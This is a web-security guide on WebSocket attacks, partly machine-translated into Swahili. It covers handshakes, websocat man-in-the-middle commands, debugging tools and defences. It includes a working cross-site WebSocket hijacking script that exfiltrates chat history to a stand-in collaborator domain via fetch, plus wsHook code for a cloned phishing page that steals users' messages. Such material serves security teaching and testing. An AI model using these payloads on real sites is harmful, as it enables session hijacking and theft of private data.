WebSocket Attacks

Reading time: 10 minutes

What are WebSockets

WebSocket connections zinaundwa kupitia mkutano wa awali wa HTTP na zimeundwa kuwa za muda mrefu, zikiruhusu ujumbe wa pande mbili wakati wowote bila haja ya mfumo wa kibiashara. Hii inafanya WebSockets kuwa na faida hasa kwa programu zinazohitaji latency ya chini au mawasiliano yanayoanzishwa na seva, kama vile mitiririko ya data za kifedha za moja kwa moja.

Establishment of WebSocket Connections

Maelezo ya kina juu ya kuanzisha WebSocket connections yanaweza kupatikana hapa. Kwa muhtasari, WebSocket connections kwa kawaida huanzishwa kupitia JavaScript upande wa mteja kama inavyoonyeshwa hapa chini:

var ws = new WebSocket("wss://normal-website.com/ws")

Protokali wss inaashiria muunganisho wa WebSocket ulio salama na TLS, wakati ws inaashiria muunganisho usio salama.

Wakati wa kuanzisha muunganisho, mkono wa handshake unafanywa kati ya kivinjari na seva kupitia HTTP. Mchakato wa handshake unahusisha kivinjari kutuma ombi na seva kujibu, kama inavyoonyeshwa katika mifano ifuatayo:

Kivinjari kinatuma ombi la handshake:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Majibu ya mkono wa mkono wa seva:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

The connection remains open for message exchange in both directions once established.

Key Points of the WebSocket Handshake:

• The Connection and Upgrade headers signal the initiation of a WebSocket handshake.
• The Sec-WebSocket-Version header indicates the desired WebSocket protocol version, usually 13.
• A Base64-encoded random value is sent in the Sec-WebSocket-Key header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache.
• The Sec-WebSocket-Accept header in the server's response is a hash of the Sec-WebSocket-Key, verifying the server's intention to open a WebSocket connection.

These features ensure the handshake process is secure and reliable, paving the way for efficient real-time communication.

Linux console

You can use websocat to establish a raw connection with a websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Au kuunda seva ya websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

Ikiwa unapata kwamba wateja wameunganishwa na HTTP websocket kutoka kwenye mtandao wako wa ndani, unaweza kujaribu ARP Spoofing Attack ili kufanya shambulio la MitM kati ya mteja na seva.
Mara tu mteja anapojaribu kuungana, unaweza kutumia:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

Unaweza kutumia tool https://github.com/PalindromeLabs/STEWS kugundua, fingerprint na kutafuta vulnerabilities zinazojulikana katika websockets kiotomatiki.

Websocket Debug tools

• Burp Suite inasaidia mawasiliano ya MitM websockets kwa njia inayofanana sana na inavyofanya kwa mawasiliano ya kawaida ya HTTP.
• socketsleuth Burp Suite extension itakuruhusu kudhibiti mawasiliano ya Websocket kwa njia bora zaidi katika Burp kwa kupata history, kuweka interception rules, kutumia match and replace rules, kutumia Intruder na AutoRepeater.
• WSSiP: Fupi kwa "WebSocket/Socket.io Proxy", chombo hiki, kilichoandikwa kwa Node.js, kinatoa interface ya mtumiaji ili kukamata, kuingilia, kutuma ujumbe wa kawaida na kuona mawasiliano yote ya WebSocket na Socket.IO kati ya mteja na seva.
• wsrepl ni interactive websocket REPL iliyoundwa mahsusi kwa ajili ya penetration testing. Inatoa interface ya kuangalia ujumbe wa websocket unaoingia na kutuma mpya, kwa mfumo rahisi wa kujiendesha mawasiliano haya.
• https://websocketking.com/ ni web ya kuwasiliana na tovuti nyingine kwa kutumia websockets.
• https://hoppscotch.io/realtime/websocket kati ya aina nyingine za mawasiliano/protocols, inatoa web ya kuwasiliana na tovuti nyingine kwa kutumia websockets.

Decrypting Websocket

• https://github.com/Anof-cyber/PyCript
• https://github.com/Anof-cyber/PyCript-WebSocket/

Websocket Lab

Katika Burp-Suite-Extender-Montoya-Course una msimbo wa kuzindua tovuti kwa kutumia websockets na katika this post unaweza kupata maelezo.

Websocket Fuzzing

Kiendelezi cha burp Backslash Powered Scanner sasa kinaruhusu fuzz pia ujumbe wa WebSocket. Unaweza kusoma maelezo zaidi kuhusu hii here.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, pia inajulikana kama cross-origin WebSocket hijacking, inatambulika kama kesi maalum ya Cross-Site Request Forgery (CSRF) inayohusisha mikataba ya WebSocket. Uthibitisho huu unatokea wakati mikataba ya WebSocket inathibitishwa pekee kupitia HTTP cookies bila CSRF tokens au hatua nyingine za usalama.

Wavamizi wanaweza kutumia hii kwa kuandaa ukurasa wa wavuti mbaya unaoanzisha muunganisho wa WebSocket wa cross-site kwa programu iliyo hatarini. Kwa hivyo, muunganisho huu unachukuliwa kama sehemu ya kikao cha mwathirika na programu, ukitumia ukosefu wa ulinzi wa CSRF katika mfumo wa usimamizi wa kikao.

Ili shambulio hili lifanye kazi, haya ndiyo mahitaji:

• Uthibitisho wa websocket lazima uwe wa msingi wa cookie
• Cookie lazima iweze kupatikana kutoka seva ya wavamizi (hii kawaida inamaanisha SameSite=None) na hakuna Firefox Total Cookie Protection iliyoanzishwa katika Firefox na hakuna cookies za wahusika wengine zilizozuiliwa katika Chrome.
• Seva ya websocket haipaswi kuangalia asili ya muunganisho (au hii inapaswa kuwa na uwezo wa kupita)

Pia:

• Ikiwa uthibitisho unategemea muunganisho wa ndani (kwa localhost au kwa mtandao wa ndani) shambulio litawezekana kwani hakuna ulinzi wa sasa unaokataza hilo (angalia more info here)

Simple Attack

Kumbuka kwamba wakati wa kuanzisha muunganisho wa websocket cookie inatumwa kwa seva. Seva inaweza kuwa ikitumia hiyo kuhusisha kila mtumiaji maalum na kikao chake cha websocket kulingana na cookie iliyotumwa.

Kisha, ikiwa kwa mfano seva ya websocket inatuma nyuma historia ya mazungumzo ya mtumiaji ikiwa ujumbe na "READY" umetumwa, basi XSS rahisi inayounda muunganisho (cookie itatumwa kiotomatiki kuidhinisha mtumiaji mwathirika) ikiwatuma "READY" itakuwa na uwezo wa kurejesha historia ya mazungumzo.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie with a different subdomain

Katika chapisho hili la blogu https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ mshambuliaji alifanikiwa kutekeleza Javascript isiyo na mipaka katika subdomain ya kikoa ambapo mawasiliano ya web socket yalikuwa yanafanyika. Kwa sababu ilikuwa subdomain, cookie ilikuwa inatumwa, na kwa sababu Websocket haikukagua Origin ipasavyo, ilikuwa inawezekana kuwasiliana nayo na kuiba tokens kutoka kwake.

Stealing data from user

Nakili programu ya wavuti unayotaka kujifanya (faili za .html kwa mfano) na ndani ya script ambapo mawasiliano ya websocket yanafanyika ongeza hii code:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Sasa pakua faili wsHook.js kutoka https://github.com/skepticfx/wshook na uhifadhi ndani ya folda yenye faili za wavuti.
Kufichua programu ya wavuti na kumfanya mtumiaji aungane nayo utaweza kuiba ujumbe uliotumwa na kupokelewa kupitia websocket:

sudo python3 -m http.server 80

CSWSH Protections

Shambulio la CSWSH linategemea ukweli kwamba mtumiaji atajiunga na ukurasa mbaya ambao uta fungua muunganisho wa websocket kwa ukurasa wa wavuti ambapo mtumiaji tayari ameunganishwa na atajitambulisha kama yeye kwa sababu ombi litatumia vidakuzi vya mtumiaji.

Sasa hivi, ni rahisi sana kuzuia tatizo hili:

• Websocket server checking the origin: Websocket server inapaswa kila wakati kuangalia kutoka wapi mtumiaji anajiunga ili kuzuia kurasa zisizotarajiwa kuungana nayo.
• Authentication token: Badala ya kutegemea uthibitisho kwenye cookie, muunganisho wa websocket unaweza kutegemea token ambayo inatengenezwa na server kwa mtumiaji asiyejulikana kwa mshambuliaji (kama token ya anti-CSRF)
• SameSite Cookie attribute: Vidakuzi vyenye thamani ya SameSite kama Lax au Strict havitatumwa kutoka ukurasa wa mshambuliaji wa nje kwenda kwenye server ya mwathirika, kwa hivyo, uthibitisho wa msingi wa cookie hautafanikiwa. Kumbuka kwamba Chrome sasa inaweka thamani Lax kwa vidakuzi bila bendera hii iliyotajwa ikifanya hii kuwa salama zaidi kwa default. Hata hivyo, dakika 2 za kwanza vidakuzi vinapoundwa vitakuwa na thamani None ikifanya kuwa hatarini wakati huo wa muda mfupi (pia inatarajiwa kwamba kipimo hiki kitondolewa wakati fulani).
• Firefox Total Cookie Protection: Ulinzi wa Jumla wa Cookie unafanya kazi kwa kutenga vidakuzi kwa tovuti ambayo vimeundwa. Kimsingi kila tovuti ina sehemu yake ya uhifadhi wa vidakuzi ili kuzuia wahusika wengine kuunganisha historia ya kivinjari ya mtumiaji. Hii inafanya CSWSH isitumike kwani tovuti ya washambuliaji haitakuwa na ufikiaji wa vidakuzi.
• Chrome third-party cookies block: Hii pia inaweza kuzuia kutuma cookie ya mtumiaji aliyethibitishwa kwa websocket server hata na SameSite=None.

Race Conditions

Misingi ya Mbio katika WebSockets pia ni jambo, angalia habari hii kujifunza zaidi.

Other vulnerabilities

Kama Web Sockets ni mekanismu ya kutuma data kwa upande wa server na upande wa mteja, kulingana na jinsi server na mteja wanavyoshughulikia habari, Web Sockets zinaweza kutumika kutekeleza udhaifu mwingine kama XSS, SQLi au udhaifu mwingine wa kawaida wa wavuti ukitumia ingizo la mtumiaji kutoka websocket.

WebSocket Smuggling

Udhaifu huu unaweza kukuruhusu kupita vizuizi vya proxies za kinyume kwa kuwafanya waamini kwamba mawasiliano ya websocket yameanzishwa (hata kama si kweli). Hii inaweza kumruhusu mshambuliaji kuaccess mwisho wa siri. Kwa maelezo zaidi angalia ukurasa ufuatao:

Upgrade Header Smuggling

References

• https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
• https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/